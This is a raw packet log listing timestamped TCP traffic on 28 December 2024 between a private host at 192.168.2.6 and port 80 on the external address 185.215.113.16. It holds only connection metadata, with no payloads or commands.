Dec 28, 2024 10:03:38.959481955 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.960237026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.960350990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.960413933 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.961102962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.961234093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.961277962 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.961997986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.962122917 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.962172985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.962919950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.963033915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.963094950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.963943958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.964169025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.964286089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.058607101 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.178188086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.178318024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.178369999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.178622961 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.178776979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.178827047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.179516077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.179611921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.179662943 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.180429935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.180541039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.180603027 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.181301117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.181406975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.181457996 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.182172060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.182298899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.182356119 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.183063030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.183165073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.183227062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.183936119 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.184056044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.184120893 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.184853077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.185026884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.185096025 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.185755014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.185847998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.186606884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.186666012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.186713934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.187503099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.187561035 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.187607050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.188401937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.188462973 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.188507080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.189256907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.189282894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.189359903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.189410925 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.190188885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.190314054 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.190382957 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.191066980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.191184998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.191976070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.192038059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.192075014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.192827940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.192883968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.192925930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.192965031 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.193742990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.193836927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.193897963 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.194613934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.194746017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.194806099 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.195462942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.195686102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.195802927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.195853949 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.196574926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.196677923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.196739912 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.197455883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.197510958 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.197554111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.198352098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.198414087 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.198446989 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.199234962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.199289083 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.199342966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.200150013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.200268030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.200321913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.201026917 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.201122046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.201175928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.201879978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.202033997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.202085972 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.202811956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.202897072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.202951908 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.203726053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.203772068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.203830004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.204595089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.204644918 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.204727888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.205455065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.205502033 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.205544949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.206350088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.206450939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.206494093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.207247019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.207370996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.207415104 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.208112001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.208234072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.208285093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.209003925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.209045887 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.209109068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.210014105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.210059881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.210124016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.210782051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.210903883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.210948944 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.211674929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.211734056 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.211747885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.212568045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.212611914 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.212661982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.213509083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.213597059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.213627100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.214328051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.214449883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.214507103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.215215921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.215337992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.215396881 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.216126919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.216248035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.216298103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.217035055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.217086077 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.217120886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.217886925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.217930079 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.218003035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.218822956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.218878031 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.218935013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.219685078 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.219803095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.219863892 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.220551014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.220593929 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.220665932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.221470118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.221519947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.221565962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.222321033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.222367048 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.222433090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.223237038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.223264933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.223288059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.224101067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.224148989 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.224153042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.225033998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.225075960 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.225120068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.225922108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.225972891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.226013899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.226787090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.226836920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.226881027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.227653027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.227694988 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.227771997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.228552103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.228750944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.228806019 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.229440928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.229484081 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.229579926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.230389118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.230439901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.230460882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.231208086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.231256962 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.231338978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.232106924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.232152939 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.232212067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.233011961 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.233108044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.233163118 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.233884096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.233927011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.233989000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.234774113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.234826088 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.234919071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.235672951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.235724926 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.235814095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.236553907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.236596107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.236614943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.237440109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.237577915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.237581968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.238303900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.238346100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.238465071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.239217043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.239264965 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.239403009 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.240175009 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.240223885 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.240253925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.241022110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.241063118 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.241159916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.241935968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.242043018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.242100000 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.242798090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.242841959 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.242964029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.243690014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.243741035 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.243874073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.244565964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.244633913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.244779110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.245523930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.245568037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.245613098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.246352911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.246547937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.246603012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.247303963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.247345924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.247409105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.248126030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.248177052 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.248245001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.249008894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.249058008 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.249067068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.249905109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.249948025 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.250041962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.250812054 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.250902891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.250961065 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.251672029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.251713991 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.251781940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.252618074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.252686977 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.252713919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.253429890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.253479958 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.253546000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.254338026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.254379988 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.254440069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.255220890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.255327940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.255381107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.256115913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.256158113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.256230116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.256988049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.257049084 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.257072926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.257893085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.257950068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.257997036 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.258760929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.258805037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.258863926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.259654045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.259757042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.259815931 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.260534048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.260576963 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.260658979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.261425018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.261473894 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.261514902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.262307882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.262357950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.262402058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.263184071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.263242006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.263322115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.264121056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.264172077 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.264197111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.264983892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.265037060 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.265081882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.265923977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.266067982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.266109943 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.266774893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.266871929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.266920090 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.267600060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.267652035 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.281428099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.281527996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.281577110 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.281847954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.281940937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.281992912 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.282716990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.282845974 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.282896042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.283607960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.305800915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.305922985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.305979013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.306272030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.306411982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.306466103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.307173967 CET	80	49766	185.215.113.16	192.168.2.6
